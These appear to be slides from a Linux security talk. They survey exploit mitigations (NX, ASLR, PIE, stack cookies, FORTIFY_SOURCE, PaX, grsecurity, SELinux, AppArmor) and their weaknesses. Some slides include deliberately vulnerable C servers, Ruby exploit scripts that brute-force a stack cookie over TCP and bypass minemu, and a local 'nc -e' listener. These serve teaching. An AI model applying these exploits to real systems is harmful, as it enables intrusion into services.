Linux Security

andrewg@felinemenace.org

Introduction & Topics Covered

- About me

- Hardware security
- Linux kernel security
- User-land security
- Source code instrumentation
- Logic bugs

- Prior knowledge

Hardware Security

- Non-executable memory
  - Variety of implementations and implementation goals
  - Prevent code execution on certain ranges
    - Stack memory
    - Per-page
  - Processor support
    - Code Segment (CS)
    - Physical Address Extension (PAE)
- Supervisor Mode Execution Protection
  - Prevents kernel executing user code
  - PaX uderef

Attacking Non-executable memory

- Heap
  - Place suitable shellcode instructions in the heap
- C Library
  - Return to a function address (such as system)
- ET_EXEC symbol / function
- Static VDSO
- Return orientated programming

Return Orientated Programming

- Small snippets of instructions followed by a return instruction
- Chain instructions to execute arbitrary code
- Stack looks like multi-function ret2libc
- Preventative measures?
  - Unaligned pages
  - Randomized executables / libraries
  - Binary instrumentation / Processor support

Address Space Layout Randomisation

- Instead of having code / data in predictable locations, change them
  - Stack
  - Heap
  - Library addresses
  - Binary position
- ASLR implementations and goals
- Makes attacks less deterministic
- Single attempts vs bruteforce
- Memory leaks
- ASCII armour

Position Independent Executables

- Traditionally, binary positions have been fixed (at 0x08048000 for Linux/x86)
- Position Independent Executables (ET_DYN) allows the executable code to be mapped anywhere
- ret2libc attacks more difficult

Ubuntu 11.04 PIE Layout

```
Ubuntu 11.04, 64-bit. 32-bit binary

f75db000-f75dc000                       | f763f000-f7640000
f75dc000-f7732000 /lib32/libc-2.13.so | f7640000-f7796000 /lib32/libc-2.13.so
f7732000-f7733000 /lib32/libc-2.13.so | f7796000-f7797000 /lib32/libc-2.13.so
f7733000-f7735000 /lib32/libc-2.13.so | f7797000-f7799000 /lib32/libc-2.13.so
f7735000-f7736000 /lib32/libc-2.13.so | f7799000-f779a000 /lib32/libc-2.13.so
f7736000-f773a000                       | f779a000-f779e000
f7763000-f7764000                       | f77c7000-f77c8000
f7764000-f7765000 [vdso]                | f77c8000-f77c9000 [vdso]
f7765000-f7781000 /lib32/ld-2.13.so    | f77c9000-f77e5000 /lib32/ld-2.13.so
f7781000-f7782000 /lib32/ld-2.13.so    | f77e5000-f77e6000 /lib32/ld-2.13.so
f7782000-f7783000 /lib32/ld-2.13.so    | f77e6000-f77e7000 /lib32/ld-2.13.so
f7783000-f7784000 pietest               | f77e7000-f77e8000 pietest
f7784000-f7785000 pietest               | f77e8000-f77e9000 pietest
f7785000-f7786000 pietest               | f77e9000-f77ea000 pietest
ffd4e000-ffd6f000 [stack]               | ffddf000-ffe00000 [stack]
```

ASLR & Heap exploits

- Heap implementations & advancements
  - https://github.com/andrewg-felinemenace/Linux-OpenBSD-malloc
- Separation of heap control information and program data
- Heap reset, sprays and massages
- Application specific structures more often better

Future of ASLR

- Randomized kernel functions / data locations / images
- Programs to re-execute themselves to maximize ASLR
    - Postfix has always done this
    - OpenSSH had this feature implemented

Source Code Fortification

- -DFORTIFY_SOURCE
- __builtin_object_size()
- Instrument C function usage
- Inserts checks if possible
  - __strcpy_chk / __read_chk
  - __strcpy_chk / __printf_chk
  - etc

Source Code Fortification Example

```
; char buf[64];
; strcpy(buf, argv[1]);

movl    $64, 8(%esp)     ; length
movl    4(%eax), %eax     ; source
movl    %eax, 4(%esp)
leal    28(%esp), %eax
movl    %eax, (%esp)     ; destination
call    __strcpy_chk

; __strcpy_chk(buf, argv[1], 64);
```

```
$ ./strcpy_chk `perl -e 'print "x" x 128'`
*** buffer overflow detected ***: ./strcpy_chk terminated
======= Backtrace: =========
/lib32/libc.so.6(__fortify_fail+0x50)[0xf767f9f0]
/lib32/libc.so.6(+0xe38fa)[0xf767e8fa]
/lib32/libc.so.6(__strcpy_chk+0x3f)[0xf767dc8f]
./strcpy_chk[0x8048473]
/lib32/libc.so.6(__libc_start_main+0xe7)[0xf75b1e37]
./strcpy_chk[0x80483a1]
======= Memory map: ========
```

Stack Smashing Protection

- What is Stack Smashing Protection (SSP)
- What does it do?
    - Canary / Cookie
    - Function stack rewriting
    - Argument shadowing

Stack Smashing Protection - Example

```c
int ssp_example(char *string1, char *string2)
{
    char *string3 = string1;
    char buf[1024];

    strcpy(buf, string1);
    strcpy(string3, string2);
    exit(EXIT_FAILURE);
}
```

SSP - Stack Layout With no SSP

Type	Name	Contents
Pointer	string2	String Pointer
Pointer	string1	String Pointer
Value	Saved EIP	EIP on return
Value	Saved EBP	EBP on return
Pointer	string3	String Pointer
Buffer	buf	1024 byte array

SSP - Stack Layout With SSP

Type	Name	Contents
Value	Saved EIP	EIP on return
Value	Saved EBP	EBP on return
Value	SSP Cookie	Stack Cookie Value
Buffer	buf	1024 byte array
Pointer	string3	String Pointer
Pointer	string2	String Pointer
Pointer	string1	String Pointer

SSP - Stack Layout Summary

```
$ ./ssp_test `perl -e 'print "x" x 1024'` 1
*** buffer overflow detected ***: ./ssp_test terminated
======= Backtrace: =========
/lib32/libc.so.6(__fortify_fail+0x50)[0xf77339f0]
/lib32/libc.so.6(+0xe38fa)[0xf77328fa]
/lib32/libc.so.6(__strcpy_chk+0x3f)[0xf7731c8f]
./ssp_test[0x804848a]
./ssp_test[0x80484ce]
/lib32/libc.so.6(__libc_start_main+0xe7)[0xf7665e37]
./ssp_test[0x80483b1]
======= Memory map: ========
```

- Stack layout more resistant to attack
  - Function arguments moved
  - Buffers moved to before cookie
  - Overwrite of cookie terminates program
- Cookie implementations - terminator, random, mixed, and Ubuntu cookie :)

SSP - Weaknesses

- Implementation problems
  - Once upon a time, static binaries had a cookie of 0 on some distributions
- Stack information leaks
- Cookie does not change if fork()'d
  - Allows bruteforce of entire cookie
  - and also an optimization of byte by byte

NX / ASLR / SSP Exploited

- SSP rewrites the stack arguments, and adds a cookie before saved EIP.
- ASLR makes exploitation more complicated by making attacks less deterministic
- Non executable memory aims to make attacks more difficult by preventing code from being injected into the process
- Let’s have a look at how this works in practice against an ideal target

```c
char *decrypt(unsigned char *password, int length)
{
    unsigned char buf[64];
    int i;

    for(i = 0; i < length; i ++) {
        buf[i] = password[i] ^ 0x5a;
    }

    return strdup(buf);
}

int is_password(int cfd)
{
    unsigned char buf[256], *q;
    int r;
    char *p;

    memset(buf, 0, sizeof(buf));

    q = "PASSWORD ";
    read(cfd, &r, sizeof(int));
    read(cfd, buf, r);

    if(strncmp(buf, q, strlen(q)) == 0) {
        p = decrypt(buf + 9, r - 9);
        return 1;
    } else {
        return 0;
    }
}
```

```c
void child(int cfd)
{
        char *q;

        if(is_password(cfd) == 0) {
                q = "Protocol Error";
                write(cfd, q, strlen(q));
                exit(EXIT_FAILURE);
        }

        q = "thanks but no thanks";
        write(cfd, q, strlen(q));
        exit(EXIT_SUCCESS);
}
```

- 256 byte input
- 64 byte buffer in decrypt

NX / ASLR / SSP Example Exploit

- Needs to determine cookie value
- Needs to determine EIP (and potentially ESP)
- Byte by byte overwrite where possible makes a significant improvement
  - 4 bytes = 256 + 256 + 256 + 256 (repeat for ESP/EIP where applicable)
    - 1024 attempts maximum per 4 bytes
  - Much better than 2 ^ 32-1 (~4 billion) (x 2 or 3)
- 12 least significant bits optimization
  - Knowledge about target OS
- ASLR

```ruby
def hash_password(line)
    return line unless line[/^PASSWORD/]

    ret = ""

    line[9..-1].each_byte { |b|
        ret << [ b ^ 0x5a ].pack('C')
    }

    return "PASSWORD " + ret
end

def valid?(buffer)
    $attempts += 1

    skt = TCPSocket.new(Host, Port)

    line = [buffer.length].pack("V")
    line << hash_password(buffer)

    skt.puts(line)
    buf = skt.recv(10) rescue ""
    skt.close

    puts buf if buf.length != 0 and $debug
    return buf[/(thanks)/] != nil
end
```

```ruby
def nextbyte(buf)
    nextchar = nil
    nextval = nil

    puts "nextbyte run, buf len = #{buf.length}" if $debug

    255.downto(0) do |byte|
        puts "trying #{byte}" if $debug
        b = [byte].pack("C")
        attempt = buf + b

        if valid?(attempt) then
            nextchar = b
            nextval = byte
            break
        end
    end

    raise "Unable to determine the next byte" if nextchar.nil?
    return nextchar, nextval
end

def exploit
    buf = "PASSWORD " + ('a' * 64)

    4.times { |x|
        n, v = nextbyte(buf)
        buf << n
    }

    cookie = buf[-4..-1].unpack("V")

    puts "cookie is %08x" % cookie
    puts "valid?: #{valid?(buf)}" if $debug
    # and repeat a couple of times for ESP and EIP..
```

NX / ASLR / SSP Result

```
$ time ruby1.9.1 exp2.rb
cookie is 78147800
esp is bfe93f08, eip is b7764ae3
Completed in 1715 tries.

real    0m2.378s
user    0m0.444s
sys     0m0.404s
```

Pretty quick.

NX / ASLR / SSP - Non-ideal cases

- Complex functions
- Further code / data analysis
  - Post Memory Corruption Memory Analyzer talk
- Function pointers

Other compiler enhancements

- Bind now linking
- Read only relocations
  - Reduces writable memory locations
  - May make attacks harder

- Want to check how your binaries have been compiled?
  - scanelf from pax-utils
  - chksec shell script

Source Code Instrumentation

- Features of instrumentation
  - Detect use after free or return / out of bounds access to heap, stack, and global data, dangling pointers
- Bounds checking GCC
- LLVM projects
  - memsafety
  - address sanitizer
- Build everything with instrumentation
  - Fuzz ALL the things
  - Reduce chances of ALL the exploitation

Runtime Instrumentation

- minemu -- http://minemu.org
- "Just In Time" execution of programs
- Instruments memory access
  - taints memory writes from the network / environment
  - propagates tainting to other memory written from tainted values
  - prevents tainted memory from being executed or used for direct program control (EIP)
- Variety of weaknesses
  - For starters, disables randomization

Minemu weaknesses

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
    int i;
    int *ip;
    int *iip;
    int *new;

    i = 1;
    ip = &i;
    iip = &ip;

    write(0, iip, sizeof(i));
    read(0, &new, sizeof(i));
    *new = 0;

    printf("i is %d, ip is %p, ipp is %p\n", i, ip, iip);
}

# nc -e /bin/cat -l 127.0.0.1 -p 12121 &
# ./minemu ./rw < /dev/tcp/127.0.0.1/12121
i is 0, ip is 0x50f4b88, ipp is 0x50df4b84
```

```
# nc -e /bin/cat -l 127.0.0.1 -p 12121 &
# ./minemu ./rw < /dev/tcp/127.0.0.1/12121
i is 0, ip is 0x50f4b88, ipp is 0x50df4b84
```

Doesn't protect against arbitrary writes from tainted values

Minemu weaknesses

```c
int win()
{
    printf("you are the winner\n");
    fflush(stdout);
}

int ebp = (int)win;

int lame()
{
    char buffer[64];

    int sfd, cfd;
    struct sockaddr_in sin;
    int (*fp)();
    int one;

    // snip, setup socket and listen

    listen(sfd, 5);
    cfd = accept(sfd, NULL, NULL);

    read(cfd, buffer, 128);
}

int main(int argc, char **argv)
{
    int x = lame();

    printf("hello\n");
}
```

```
# objdump -tr new | grep ebp
08049990 g     O .data  00000004              ebp
```

```ruby
require 'socket'

def doOverwrite()
    buf = "\x00" * 84
    buf << [ 0x08049990 - 4 ].pack('V')

    return buf
end

c = TCPSocket.new('127.0.0.1', 11111)
c.print(doOverwrite())
```

```
Starting program: /root/minemu/minemu ./new
Executing new program: /root/minemu/minemu
hello
you are the winner

Program received signal SIGILL, Illegal instruction.
0x5155d273 in taint_fault ()
```

Code execution possible

Minemu weaknesses

- Taint propagation failures

```
for(i = 0; i < length; i++) {
    newbuffer[i] = toupper(tainted_buffer[i]);
}

// toupper() is basically implemented as an array
// lookup. so return upper_values[byte].
```

- Hard to propagate tainting on array lookups
- Can be used to clean tainting from inputs and use them later on (such as a new stack layout for code execution)
- toupper / tolower is common in network services

Application Privilege Dropping

- "Drop it like it's hot"
- Each thread has it's own user id / group ids / capability information
- Threads can share virtual memory, file descriptors, amongst other things, clone()

```c
static void change_process_uid(void)
{
    if (user_pwd) {
        if (setgid(user_pwd->pw_gid) < 0) {
            fprintf(stderr, "Failed to setgid(%d)\n", user_pwd->pw_gid);
            exit(1);
        }
        if (setuid(user_pwd->pw_uid) < 0) {
            fprintf(stderr, "Failed to setuid(%d)\n", user_pwd->pw_uid);
            exit(1);
        }
        if (setuid(0) != -1) {
            fprintf(stderr, "Dropping privileges failed\n");
            exit(1);
        }
    }
}
```

Application Privilege Dropping - qemu

```
# cat /proc/3966/status
Name : qemu-system -x86
State : S ( sleeping )
Tgid : 3966
Pid : 3966
PPid : 1
TracerPid : 0
Uid : 999 999 999 999
Gid : 999 999 999 999
FDSize : 32
Groups : 0 1 2 3 4 6 10 11 26 27
```

```
sh-4.1$ id
.. groups=999(qemu00), 0(root), 1(bin), 2(daemon),
.. 3(sys), 4(adm), 6(disk), 10(wheel), 11(floppy),
.. 26(tape), 27(video)
sh-4.1$ xxd /dev/sda | head -n 4
0000000 : eb48 9000 0000 0000 0000 0000 0000 0000
0000010 : 0000 0000 0000 0000 0000 0000 0000 0000
0000020 : 0000 0000 0000 0000 0000 0000 0000 0000
0000030 : 0000 0000 0000 0000 0000 0000 0000 0302
sh-4.1$ ls -l /dev/sda
brw-rw---- 1 root disk 8,0 Jul 8 11:54 /dev/sda
```

Thread privileges

- Groups fixed, all good?
- qemu creates threads first, then drops privileges
- man page vs kernel documentation
- glibc vs other libcs

```
$ ps axwu
qemu02 31147 ... /usr/bin/qemu-system-x86_64

$ ps axwu -L
qemu02 31147 31147 ... /usr/bin/qemu-system-x86_64
root   31147 31149 ... /usr/bin/qemu-system-x86_64
root   31147 31150 ... /usr/bin/qemu-system-x86_64
```

- https://gist.github.com/1084042

Kernel Security

- or lack thereof.. min mmap addr, /dev/k?mem, read only .text
- SELinux / SMACK / TOMOYO / Apparmor

```
author  David Howells <dhowells@redhat.com>
committer   Linus Torvalds <torvalds@linux-foundation.org>
Tue, 15 Nov 2011 22:09:45 +0000 (22:09 +0000)

--- a/security/keys/user_defined.c
+++ b/security/keys/user_defined.c
@@ -102,7 +102,8 @@ int user_update(struct key *key, const void *data, size_t datalen)
                key->expiry = 0;
        }

-       kfree_rcu(zap, rcu);
+       if (zap)
+               kfree_rcu(zap, rcu);

 error:
        return ret;
```

Kernel Security - SELinux

- Reference policies
- Strictness vs usability
- Reactive responses
- Not very user, developer, or sysadmin friendly

Selinux Apache Example

```
template(`apache_content_template',`
    gen_require(`
        attribute httpdcontent;
        attribute httpd_exec_scripts;
        attribute httpd_script_exec_type;
        type httpd_t, httpd_suexec_t, httpd_log_t;
    ')
    # allow write access to public file transfer
    # services files.
    gen_tunable(allow_httpd_$1_script_anon_write, false)

    #This type is for webpages
    type httpd_$1_content_t, httpdcontent; # customizable
    typealias httpd_$1_content_t alias httpd_$1_script_ro_t;
    files_type(httpd_$1_content_t)

    # This type is used for .htaccess files
    type httpd_$1_htaccess_t; # customizable;
    files_type(httpd_$1_htaccess_t)

    # Type that CGI scripts run as
    type httpd_$1_script_t;
    domain_type(httpd_$1_script_t)
    role system_r types httpd_$1_script_t;

    # This type is used for executable scripts files
    type httpd_$1_script_exec_t, httpd_script_exec_type; # customizable;
    corecmd_shell_entry_type(httpd_$1_script_t)
    domain_entry_file(httpd_$1_script_t, httpd_$1_script_exec_t)
```

29 lines out of a total of 111 + 1218 + 901 lines

Kernel Security - AppArmor

- Very small amount of policies
- Path based
- Vaguely similiar to grsecurity config

```
#include <tunables/global>
/usr/sbin/tcpdump {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/user-tmp>
  capability net_raw,
  capability setuid,
  capability setgid,
  capability dac_override,
  network raw,
  network packet,
  # for -D
  capability sys_module,
  @{PROC}/bus/usb/ r,
  @{PROC}/bus/usb/** r,
  # for -F and -w
  audit deny @{HOME}/.* mrwkl,
  audit deny @{HOME}/.*/ rw,
  audit deny @{HOME}/.*/** mrwkl,
  audit deny @{HOME}/bin/ rw,
  audit deny @{HOME}/bin/** mrwkl,
  @{HOME}/ r,
  @{HOME}/** rw,
  /usr/sbin/tcpdump r,
}
```

Kernel Security - OpenWall Patch

- One of the earliest patches available
- Non-executable stack
- Other hardening approaches
- Kernel source code auditing

Kernel Security - PaX Patch Influence

- PaX has had a huge influence on modern security in OS
  - ASLR in OpenBSD / Windows / Linux / MacOSX / NetBSD, etc
  - Position Independent Executables
  - RELRO / Secure PLT / etc
  - mprotect restrictions -> SELinux execmod, NetBSD
  - NX Memory in Linux / Windows / OpenBSD / etc
  - Userland execution preventation -> min_mmap_addr
- And most likely will continue to do so in the future

Kernel Security - PaX Patch

- Non executable memory
- Reduces code injection avenues
- Kernel correctness
  - Correct access to userland / kernel memory / API
- Kernel sanitation
- Memory randomization
  - code / data / kernel stack
- GCC plugins to instrument kernel compile

Kernel Source Code Instrumentation

- PaX GCC plugins
  - Constify plugin
    - Marks structures as const by default
  - Stack leak detection
    - Sanitize kernel stack
  - kallocstat plugin
    - Tracks k*alloc* sizes
  - KernExec plugin
    - x64 implementation of KernExec
    - Differences between x86 and x64
  - Checker plugin
    - Source code checking
    - Address space separation

Kernel Security - grsecurity patch

- Optional Role-Based Mandatory Access Control Lists
  - Path based
  - Capability restrictions
  - Network restrictions
- Implements additional improvements and restrictions
- Miscellaneous other hardening techniques
- Information disclosure prevention
- Extensive auditing options
- Information disclosure prevention

grsecurity ACL example

```
role cvs u
   subject /
      /     h
      -CAP_ALL
      connect   disabled
      bind      disabled

   subject /usr/bin/cvs
      /
      /etc/fstab         r
      /etc/mtab          r
      /etc/passwd        r
      /proc/meminfo      r
      /dev/urandom       r
      /dev/log           rw
      /dev/null          rw
      /home/cvs          r
      /home/cvs/CVSROOT/val-tags  rw
      /home/cvs/CVSROOT/history   ra
      /tmp               rwcd
      /var/lock/cvs      rwcd
      /var/run/.nscd_socket       rw
      /proc/sys/kernel   r
      /var/run
```

Who needs memory corruption bugs?

- Yubico PAM Module
  - Fix big security hole: Authentication succeeded when no password was given, unless use_first_pass was being used. This is fatal if pam_yubico is considered 'sufficient' in the PAM configuration.
- Cyrus IMAP NNTP
  - The vulnerability is caused by an error in the authentication mechanism of the NNTP server. This can be exploited to bypass the authentication process and execute commands intended for authenticated users only by sending an "AUTHINFO USER" command without a following "AUTHINFO PASS" command.
- And lots of other vulnerabilities that don't require memory corruption

Questions?

If you'd like to learn more about memory corruption bugs, exploit development, program debugging etc, please check out:

http://exploit-exercises.com